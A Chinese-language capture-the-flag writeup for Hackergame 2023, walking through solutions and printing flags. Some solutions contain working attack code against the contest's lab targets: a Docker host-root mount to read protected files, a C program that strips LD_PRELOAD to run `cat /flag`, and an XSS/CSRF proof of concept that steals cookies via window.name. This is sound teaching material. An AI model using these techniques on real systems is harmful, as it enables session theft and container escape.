Hackergame 2023 Writeup
Post on Edit on 1 revisionsHackergame 启动
打开题目网站,直接点击提交,发现多出来一个similarity参数,改成尽可能大的数字(100)就过了
flag{we1com3-7o-h@cK3RG@ME-@nd-Enjoy-H@CkIN9-2O23}
猫咪小测
前两小题的数字都不会太大,直接穷举就好
第三小题 搜索tcp bbr compile option
能找到这篇 可知需要开启CONFIG_TCP_CONG_BBR选项
第四小题 搜索python mypy type check infinite loop
能找到这篇论文 在页底能找到会议名称37th European Conference on Object-Oriented Programming (ECOOP 2023).
答案为ECOOP
flag1:🎉🎉🎉flag{wE1com3-to-47TEnD-THe-NEK0-Ex@M-2OZ3}
🎉🎉🎉
flag2:🎉🎉🎉flag{Re@l-m4st3R-of-THE-N3ko-ex@M-in-u$Tc}
🎉🎉🎉
更深更暗
打开网页等Generating FLAG消失,然后右键打开DevTools找元素
结果找到id="titan"的元素
<pre id="titan">
/
\
|
__|__
| \
/
____ _________________|___ ___\__________/ ____
< / \____________ |
/ flag{T1t@n_7a90e9db85a8f7edf9f5817a50c58390} \ (_)
~~~~~~ O O O >=)~~~~~~~
\_______/ ____________\ /_________________________________/ (_)</pre>
flag{T1t@n_7a90e9db85a8f7edf9f5817a50c58390}
旅行照片 3.0
你的学长去留学了,这一走短时间内怕是回不来了。于是,你在今年暑假来了一场计划已久的旅行,并顺路探望了这位久别的学长。翻阅当天拍下的照片,种种回忆和感慨油然而生。
推测时间在6月到9月
题目 1-2
先来第二小题
搜索奖牌上的文字 易知为诺贝尔奖奖牌
接着搜索M. KOSHIBA
可知获奖人是小柴昌俊,曾任东京大学国际基本粒子物理中心(ICEPP)高级顾问,获得了诺贝尔物理学奖
那么搜索university of tokyo nobel prize
,可以找到维基百科中的List of University of Tokyo people
,在其底下的Nobel prize laureates
中能找到获得了诺贝尔物理学奖的人有
- 真鍋 淑郎(1931-)
- 大隅 良典(1948-)
- 梶田 隆章(1959-)
- 南部 陽一郎(1921-2015)
- 小柴 昌俊(1926-2020)
- 江崎 玲於奈(1925-)
可知出生最晚者为梶田隆章
搜索梶田隆章 研究所
可知其在ICRR - 宇宙線研究所,故答案为ICRR
第一小题已知时间在6-9月,那么直接穷举
for(let i=0;i<120;i++){
let date1=new Date((new Date("2023-06-01").getTime())+i*86400000).toISOString().split('T')[0];
`${btoa(new URLSearchParams({Answer1:date1,Answer2:"ICRR"}).toString())}.txt`
fetch("http://202.38.93.111:12345/", {
"headers": {
"content-type": "application/x-www-form-urlencoded; charset=UTF-8",
},
"body": `${btoa(new URLSearchParams({Answer1:date1,Answer2:"ICRR"}).toString())}.txt`,
"method": "POST"
});
}
去翻网络请求,找到200的POST请求,得FLAG
flag{how_I_wi5h_i_COulD_w1N_A_Nobe1_pri23_b4336e7597}
解码参数,得日期为2023-08-10.
题目 3-4
在下午和夜晚小节找到地点上野站,可知地点在东京台东区。
题目 1-2中小柴昌俊在东京大学的线索,可知地点在东京大学附近。
在Google Earth中搜索University of Tokyo,可以找到卫星图,结合图二的喷泉,喷泉位于上野公园(Ueno Park),容易找到在喷泉对面的博物馆是东京国立博物馆。
搜索Ueno Park events
时间限定在2023-08-07~2023-08-11,可以找到这篇文章,得到关键词Plum Wine
搜索ueno park plum wine
得到这篇文章,底部找到这个链接,在其文章开头找到问卷编号S495584522
搜索东京国立博物馆
进入官网,找到票价页,得High/Junior High/Elementary School Students and persons under 18 and over 70:Free
于是票价取0。
flag{PluM_w1NE_1S_rEa1LY_EXpen5iVE_6a16cff429}
赛博井字棋
打开DevTools,然后随便走一步(左上角),然后去网络页复制请求,贴到控制台并稍作更改
fetch("http://202.38.93.111:10077/", {
"headers": {
"content-type": "application/json",
},
"body": JSON.stringify({x:"0",y:"0"}),
"method": "POST",
});
发现机器人下中间,试试能不能把棋子盖掉
fetch("http://202.38.93.111:10077/", {
"headers": {
"content-type": "application/json",
},
"body": JSON.stringify({x:"1",y:"1"}),
"method": "POST",
});
刷新一试,真的可以,然后棋下右下角就赢了
flag{I_can_eat_your_pieces_3e97cf7f68}
奶奶的睡前 flag 故事
加粗文字:谷歌『亲儿子』,连系统都没心思升级,截图
中翻中:Pixel 漏洞 截图
搜索Pixel 漏洞 截图
,得到漏洞名aCropalypse
搜索aCropalypse
,找到acropalypse.app
提交截图,型号选择Pixel 7
,得到Flag图片
flag{sh1nj1ru_k0k0r0_4nata_m4h0}
组委会模拟器
setInterval(()=>[...document.querySelectorAll("#app > div > div.fakeqq-container > * > div > div.fakeqq-message__content > div.fakeqq-message__bubble > span")].filter(e=>e.innerText.includes("hack[")).forEach(e=>e.click()),50)
打开控制台,在网页加载完成后输入这串代码,即可获得Flag。
DevTools右击消息元素复制JS路径,跑个循环检测整个消息列表有没有含hack[的消息,
接着用HTMLElement.click()模拟点击。最后加个setInterval循环跑就可以了
flag{Web_pr0gra_mm1ng_d8eeee3472_15fun}
虫
这听起来像是一种通过无线信道传输图片的方式,如果精通此道,或许就可以接收来自国际空间站(ISS)的图片了,一眼SSTV
下载个SSTV解码软件就好,比如Robot36,然后播放音频来解码就好
JSON ⊂ YAML?
真·JSON写的够乱就行
Payload:
{"foo":"bar","foo":1,"t":{"a":["12",{"i":"der","f":1e9,"longarray":[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[1]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]}]}}
网上搜下就可以知道(科学计数法转换不同):
YAML1.1: 1e9 =>"1e9" JSON: 1e9 => 1000000000
看官方题解才知道(不能有重复的Key):
- YAML1.2:
{"foo":"bar","foo":1,
=>ERROR JSON:{"foo":"bar","foo":1,
=>{"foo":1}
但是我就给试出来了。
Flag1: flag{faf9facd7c9d64f74a4a746468400a50bea1135291}
Flag2: flag{b1c73f14d04db546b7e7e24cf1cc72526fa986f6ee}
Git? Git!
把仓库拉下来,然后去.git/objects手动拼接Object ID接着
git cat-file -p [Object ID] | find "flag"
最后
git cat-file -p f629dae383869fe5ae7abb74fde26fea5e64ff31 | find "flag"
<!-- flag{TheRe5_@lwAy5_a_R3GreT_pi1l_1n_G1t} -->
flag{TheRe5_@lwAy5_a_R3GreT_pi1l_1n_G1t}
HTTP 集邮册
MDN是个好东西
十二个状态码:
200 不用修改,直接就给
GET / HTTP/1.1\r\n Host: example.com\r\n\r\n Response: HTTP/1.1 200 OK ... ETag: "64dbafc8-267"
404 把路径修改为不存在的就好
GET /404 HTTP/1.1\r\n Host: example.com\r\n\r\n
400 乱改请求体
G\n\n
405 把GET换成POST
POST / HTTP/1.1\r\n Host: example.com\r\n\r\n
505 把HTTP版本号改高点
GET / HTTP/1145.14\r\n Host: example.com\r\n\r\n
100 添加Except头部字段
GET / HTTP/1.1\r\n Host: example.com\r\n Expect: 100-continue\r\n\r\n
206 添加Range头部字段
GET / HTTP/1.1\r\n Host: example.com\r\n Range: bytes=1-\r\n\r\n
416 添加Range头部字段,但是把Range范围移到文档范围之外
GET / HTTP/1.1\r\n Host: example.com\r\n Range: bytes=114514-1919810\r\n\r\n
304 添加If-None-Match头部字段,并附上有效的ETag值(见200)
GET / HTTP/1.1\r\n Host: example.com\r\n If-None-Match: "64dbafc8-267"\r\n\r\n
412 添加If-None-Match和If-Unmodified-Since头部字段,并且使ETag的对应的时间和If-Unmodified-Since提供的时间产生冲突
GET / HTTP/1.1\r\n Host: example.com\r\n If-None-Match: "64dbafc8-267"\r\n If-Unmodified-Since: Wed, 21 Oct 2015 07:28:00 GMT\r\n\r\n
414 让URL过长
GET /[HTTP * 4000] HTTP/1.1\r\n Host: example.com\r\n\r\n
501 随便添加一个不支持的Transfer-Encoding 头部
GET / HTTP/1.1\r\n Host: example.com\r\n Transfer-Encoding: compress\r\n\r\n
5 种状态码:
flag{stacking_up_http_status_codes_is_fun_ad65d1bbf8}
12 种状态码:
flag{I think that when many such status codes are accumulated 942b0f001b it becomes a lifetime}
没有状态码:
搜索http request minimum headers
可以找到在StackOverflow的回答
其中给出了不返回headers的请求体
GET /\r\n\r\n
没有状态……哈?:flag{congratu1ations you discovered someth1ng before http1.0}
Docker For Everyone
打开题目环境,执行ps -ef
结果发现dockerd
,containerd
,docker
都跑在root用户下
搜索Docker 挂载本地目录
,知道可以用-v
选项把目录挂到docker里去,那么
docker run -it -v /:/realroot alpine
就能把主机的根目录挂到docker里去
cat /realroot/flag
cat: can't open '/realroot/flag': No such file or directory
怎么读不到Flag?再看一遍题目,发现Flag是软链接
那么手动跟着软链接走
ls -l /realroot
...
lrwxrwxrwx 1 root root 13 Oct 8 12:10 flag -> /dev/shm/flag
...
cat /realroot/dev/shm/flag
flag{u5e_r00t1ess_conta1ner_0115f313c3_plz!}
惜字如金 2.0
打开源代码,先看get_cod_dict
def get_cod_dict():
# prepar th cod dict
cod_dict = []
cod_dict += ['nymeh1niwemflcir}echaet']
cod_dict += ['a3g7}kidgojernoetlsup?h']
cod_dict += ['ulw!f5soadrhwnrsnstnoeq']
cod_dict += ['ct{l-findiehaai{oveatas']
cod_dict += ['ty9kxborszstguyd?!blm-p']
check_equals(set(len(s) for s in cod_dict), {24})
return ''.join(cod_dict)
需要长度24,但是一看实际长度
`ct{l-findiehaai{oveatas`.length
<23
那么每串肯定都少了个字符
跑个穷举来解
let first=i=>["a","e","i","o","u"].some(e=>{
return i.endsWith(e)
})
function unxzrj(str){
const pos=[];
if(str.length!=24){
if(!first(str)){pos.push(str+"e")};
for(let i=0;i<str.length;i++){
if(!first(str[i])){
pos.push(str.slice(0,i)+str[i]+str.slice(i))
}
}
}
return pos;
}
let data=[53, 41, 85, 109, 75, 1, 33, 48, 77, 90,
17, 118, 36, 25, 13, 89, 90, 3, 63, 25,
31, 77, 27, 60, 3, 118, 24, 62, 54, 61,
25, 63, 77, 36, 5, 32, 60, 67, 113, 28]
let allStrs=["nymeh1niwemflcir}echaet","a3g7}kidgojernoetlsup?h","ulw!f5soadrhwnrsnstnoeq","ct{l-findiehaai{oveatas","ty9kxborszstguyd?!blm-p"]
let [a,b,c,d,e]=allStrs.map(e=>unxzrj(e));
let resolveSet=new Set;
for(let i of a){
for(let j of b){
for(let k of c){
for(let l of d){
for(let m of e){
let currdict=i+j+k+l+m;
let result=data.map(e=>currdict[e]).join("");
if(!resolveSet.has(result)&&result.startsWith("flag{")&&result.endsWith("}"))console.log([i,j,k,l,m],result);
resolveSet.add(result);
}
}
}
}
}
node unxzrj
[
'nymeh1niwemflcir}echaete',
'a3g7}kidgojernoetlsup?he',
'ullw!f5soadrhwnrsnstnoeq',
'cct{l-findiehaai{oveatas',
'tty9kxborszstguyd?!blm-p'
] flag{you-ve-r3cover3d-7he-an5w3r-r1ght?}
[
'nnymeh1niwemflcir}echaet',
'a3g7}kidgojernoetlsup?he',
'ullw!f5soadrhwnrsnstnoeq',
'cct{l-findiehaai{oveatas',
'tty9kxborszstguyd?!blm-p'
] flag{nou-v}-r3lovmr3d-7hm-an5w3r-rhght?}
[
'nyymeh1niwemflcir}echaet',
'a3g7}kidgojernoetlsup?he',
'ullw!f5soadrhwnrsnstnoeq',
'cct{l-findiehaai{oveatas',
'tty9kxborszstguyd?!blm-p'
] flag{you-v}-r3lovmr3d-7hm-an5w3r-rhght?}
[
'nymehh1niwemflcir}echaet',
'a3g7}kidgojernoetlsup?he',
'ullw!f5soadrhwnrsnstnoeq',
'cct{l-findiehaai{oveatas',
'tty9kxborszstguyd?!blm-p'
] flag{you-v}-r3lover3d-7he-an5w3r-rhght?}
[
'nymeh11niwemflcir}echaet',
'a3g7}kidgojernoetlsup?he',
'ullw!f5soadrhwnrsnstnoeq',
'cct{l-findiehaai{oveatas',
'tty9kxborszstguyd?!blm-p'
] flag{you-v}-r3lover3d-7he-an5w3r-r1ght?}
[
'nymeh1niwemflccir}echaet',
'a3g7}kidgojernoetlsup?he',
'ullw!f5soadrhwnrsnstnoeq',
'cct{l-findiehaai{oveatas',
'tty9kxborszstguyd?!blm-p'
] flag{you-v}-r3cover3d-7he-an5w3r-r1ght?}
可以找到flag{you-ve-r3cover3d-7he-an5w3r-r1ght?}
🪐 高频率星球
打开Linux终端,安装asciinema
sudo apt install asciinema
接着用asciinema cat把录像直接写到文件里(防止被清屏删掉代码)
asciinema cat asciinema_restore.rec >out.txt
然后用文本编辑工具把ASCII控制字符和文件开头和结尾的提示文本删掉
最后
node out.txt
flag{y0u_cAn_ReSTorE_C0de_fr0m_asc11nema_3db2da1063300e5dabf826e40ffd016101458df23a371}
🪐 小型大语言模型星球
AI题是真不会做
You Are Smart
直接问模型Am I smart?
flag{I-7H1nk-Y0u-aRe-Re4!!y-RE4!LY-5MARt
🪐 流式星球
查看源代码create_video.py
可知视频是把每一帧的画面的每一个像素的RGB值顺序写入文件的,但是视频帧数,画面宽高都没有了
写个帧播放器
<input class="slider" type="range" min="10" max="4000" step="10" value="10" id="width"></input>
<input class="slider" type="range" min="10" max="3000" step="10" value="10" id="height"></input>
<p></p>
<span></span>
<canvas></canvas>
<script>
const canvas=document.querySelector("canvas");
const inputw=document.querySelector("input#width");
const inputh=document.querySelector("input#height");
const p=document.querySelector("p");
const span=document.querySelector("span");
let i=0;
(async function(){
let videobin=await fetch("./video.bin1");
let videobuf=new Uint8Array(await videobin.arrayBuffer());
let resolution="139*427*759";
let radio=0;
let [count,width,height]=resolution.split("*").map(e=>Number(e));
function setupCanvas(w,h){
[canvas.width,canvas.height]=[w,h];
[width,height]=[w,h];
radio=width*height*3;
}
setupCanvas(width,height);
let ctx=canvas.getContext("2d");
function changeImage(nw,nh){
setupCanvas(nw,nh);
span.innerText=`${nw}*${nh}`;
flushImage(0);
}
inputh.oninput=inputw.oninput=function(){
let nw=inputw.value,nh=inputh.value;
changeImage(nw,nh);
}
addEventListener("keydown",e=>{
if(e.key=="h"){
changeImage(width-=1,height);
}
if(e.key=="j"){
changeImage(width+=1,height);
}
if(e.key=="k"){
changeImage(width,height-=1);
}
if(e.key=="l"){
changeImage(width,height+=1);
}
if(e.key=="v"){
changeImage(width-=10,height);
}
if(e.key=="b"){
changeImage(width+=10,height);
}
if(e.key=="n"){
changeImage(width,height-=10);
}
if(e.key=="m"){
changeImage(width,height+=10);
}
if(e.key=="f"){
flushImage(i--);
p.innerText=i;
}
if(e.key=="g"){
flushImage(i++);
p.innerText=i;
}
})
function flushImage(count){
let frame=videobuf.subarray(count*radio,(count+1)*radio);
let newClamp=new Uint8ClampedArray(frame.length*4/3);
for(let i=0;i<frame.length;i+=3){
let target=i*4/3;
newClamp[target+0]=frame[i+0]
newClamp[target+1]=frame[i+1]
newClamp[target+2]=frame[i+2]
newClamp[target+3]=255;
}
console.log(width,height);
let imgData=new ImageData(newClamp,width,height);
ctx.putImageData(imgData,0,0);
}
flushImage(0);
</script>
然后手动调宽视频,发现在width=427时视频正常
调整视频高度,使其完整覆盖视频画面(height=759)
🪐 低带宽星球
如Flag所言
真·网上随便找个压缩png的工具就好
flag{justfind_an_image_compressor_andgo!}
Komm, süsser Flagge
我的 POST
把POST分开发送就好
第一包:
POS
第二包:
T / HTTP/1.1\r\nHost: 127.0.0.1:8082\r\nUser-Agent: curl/8.0.1\r\nAccept: */*\r\nContent-Length: [length]\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n114514:asdfgh==
const net=require("net");
let p=net.connect(18080,"202.38.93.111").on("data",e=>console.log(e.toString()));
let fullRequestBody=`POST / HTTP/1.1\r\nHost: 127.0.0.1:8082\r\nUser-Agent: curl/8.0.1\r\nAccept: */*\r\nContent-Length: 99\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n114514:asdaasd==`
let window=3;
p.write(fullRequestBody.slice(0,window));setTimeout(()=>p.write(fullRequestBody.slice(window)),100);
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Mon, 06 Nov 2023 01:39:49 GMT
Content-Length: 31
Connection: close
flag{ea5Y_sPl1tt3r_f006e66526}
我的 P(非预期解)
把net.connect(18080,"202.38.93.111")
直接换成net.connect(18081,"202.38.93.111")
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Mon, 06 Nov 2023 01:39:54 GMT
Content-Length: 32
Connection: close
flag{r3s3rv3d_bYtes_dea1c116fb}
为什么要打开 /flag 😡
(ps:没有Linux环境,跑去装WSL2了)
LD_PRELOAD, love!
删掉LD_PRELOAD环境变量,然后直接拿popen开shell去读取
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(){
unsetenv("LD_PRELOAD");
char buf[1024];
FILE *fp=NULL;
fp=popen("cat /flag", "r");
fgets(buf, sizeof(buf), fp);
printf("%s\n",buf);
}
STDOUT:
flag{nande_ld_preload_yattano_0b6b62e631}
异星歧途
(ps:Mindustry真好玩)
(0关1开)
第一组开关,看逻辑只要有一个按钮是0 1 0 1 1 0 1 0就不会触发Generator
那么正确的序列就是10100101
第二组开关,大意是拿八个开关做输入并出一个uint8,然后位运算获得是否打开开关
那么就写个解释器来跑吧
function uMachine(ops,quota=1000000){
let pc=0,curr,stor={};
while((curr=ops[pc++])&"a-->0){
let {type}=curr;
if(type==="nor"){
}else if(type==="set"){
let {key,value}=curr;
stor[key]=value;
}else if(type==="operation"){
let [a,op,b]=curr.cond.split(" "),{key}=curr,r=0;
if(!isNaN(+a))a=+a;if(!isNaN(+b))b=+b;
if(Reflect.has(stor,a))a=stor[a];if(Reflect.has(stor,b))b=stor[b];
switch(op){
case "or":r=a|b;break;
case "!=":r=(a!=b)?1:0;break;
case "==":r=(a==b)?1:0;break;
case "|":r=a|b;break;
case "+":r=a+b;break;
case "^":r=a**b;break;
case "always":r=true;break;
}
stor[key]=r;
}else if(type==="jump"){
if(!curr.cond){pc=curr.to;continue;}
let [a,op,b]=curr.cond.split(" "),r=false;
if(!isNaN(+a))a=+a;if(!isNaN(+b))b=+b;
if(Reflect.has(stor,a))a=stor[a];if(Reflect.has(stor,b))b=stor[b];
switch(op){
case ">=":r=a>=b;break;
case "!=":r=a!=b;break;
case "==":r=a==b;break;
default:r=true;break;
}
if(r)pc=curr.to;
}else if(type==="halt")return "HALT"
}
return stor;
}
let str2=e=>[
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"nor"},
{"type":"set","key":"number","value":e},
{"type":"set","key":"en","value":0},
{"type":"set","key":"i","value":0},
{"type":"jump","cond":"i >= 16","to":33},
{"type":"operation","key":"fl0","cond":"i ^ 2"},
{"type":"jump","cond":"fl0 != number","to":31},
{"type":"set","key":"en","value":1},
{"type":"jump","to":33},
{"type":"operation","key":"i","cond":"i + 1"},
{"type":"jump","to":26},
{"type":"operation","key":"fl1","cond":`0 == ${(e>>(8-1))&1}`},
{"type":"operation","key":"fl2","cond":`0 == ${(e>>(8-6))&1}`},
{"type":"operation","key":"fl3","cond":"fl1 | fl2"},
{"type":"jump","cond":"fl3 == 0","to":38},
{"type":"set","key":"en","value":0},
{"type":"operation","key":"outGEN1","cond":`en + 0`},
{"type":"operation","key":"outpanel1","cond":`en + 0`},
]
for(i=0;i<256;i++){
let r=uMachine(str2(i));
if(r.outGEN1==1)console.log(r,i.toString(2).padStart(8,"0"))
}
node interpreter
{
number: 196,
en: 1,
i: 14,
fl0: 196,
fl1: 0,
fl2: 0,
fl3: 0,
outGEN1: 1,
outpanel1: 1
} 11000100
第二组开关序列11000100
第三组开关:
看程序逻辑(x x x x x x x x)
第一开关得打开,否则钍矿不会流入反应堆(1 x x x x x x x)
第二开关得关上,不然矿物都得跑去销毁(1 0 x x x x x x)
第三开关得关上,不然钍反应堆不会开启(1 0 0 x x x x x)
第四开关得关上,不然合成冷却液的水会直接消失(1 0 0 0 x x x x)
第五开关得打开,启动冷却液混合器(1 0 0 0 1 x x x)
第六开关得打开,不然没法抽取用来合成冷却液的水(1 0 0 0 1 1 x x)
第七开关得关上,不然融毁会耗去钍反应堆产生的大量能量(1 0 0 0 1 1 0 x)
第八开关得关上,因为sw8==sw9,且sw9关闭(即第二组开关第八个开关,值为0)(1 0 0 0 1 1 0 0)
第三组开关序列10001100
第四组开关乱猜的(01110111)
反应堆正常启动,总序列10100101 11000100 10001100 01110111
微积分计算小练习 2.0
随便填答案,先到留言页面
一看,评论限长还限特殊字符
还有哪些特殊字符能用?!@#$^*_+-={}:"|?[];\/
把这堆字符提交到网站上,右键查看源代码,发现这些字符直接并到了源代码里
那么就可以直接拿"
和+
先把字符串闭合了
比如"+open+"
就可以获得直接进到js环境里了
接下来,请问有什么东西可以跨域传送字符串?答案是window.name
.
不能用,可以用方括号代替
那么试下"+[name=document["cookie"]]+"
`"+[name=document["cookie"]]+"`.length //29
但是问题不大,window.open的第二参数就可以指定name,可以这样
`"+[name=document[name]]+"`.length //25,正好在限制内
let targetWindow=open("http://web/result","cookie",{popup:true});
好了,现在可以拿到cookie了,但是怎么输出呢?
发现评论网站没有阻止csrf攻击,那么在非同源网站也能拿着form直接提交到测试网站
只要把cookie拿到手,自动填写表单,模拟submit,POST到测试网站就好
PoC:
<form action="http://web/result" method="post" style="display: none;">
<textarea name="comment"></textarea>
</form>
<script>
let form = document.querySelector("form");
let textarea = document.querySelector("textarea");
const upload = function (e) {
textarea.value = e;
form.submit();
};
(function () {
let url = new URL(location.href);
let step = +(url.searchParams.get("f") || 0);
if (step == 0) {
url.searchParams.set("f", 1);
let win=open("http://web/result","cookie",{popup:true});
setTimeout(()=>{
win.location.href=url.href;
},2500);
} else if (step == 1) {
let param=0;
upload(btoa(window.name).slice(param*20,param*20+20));
}
})()
</script>
EOF
(注意,评论框提交长度有限制,还有限制特殊字符,需要用Base64编码后再分块传送回客户端,见代码param变量)
将"+[name=document[name]]+"
填到评论
之后将上面的HTML交给Bot
等待执行完毕后就可以再网页里获得Flag的Base64了
decodeURIComponent(atob("ZmxhZz1mbGFnJTdCeDU1X3N0aWxsX2FsaXZlJTI2JTNEJTNFXyUzQytfMDNmM2UxNzk0MiU3RA=="))
<`flag=flag{x55_still_alive&=>_<+_03f3e17942}`
还有一个坑,就是urllib.parse.quote_plus,看着上面flag感觉是正确的,一提交就提示答案错误,结果发现需要把Flag里的+
换成
flag=flag{x55_still_alive&=>_< _03f3e17942}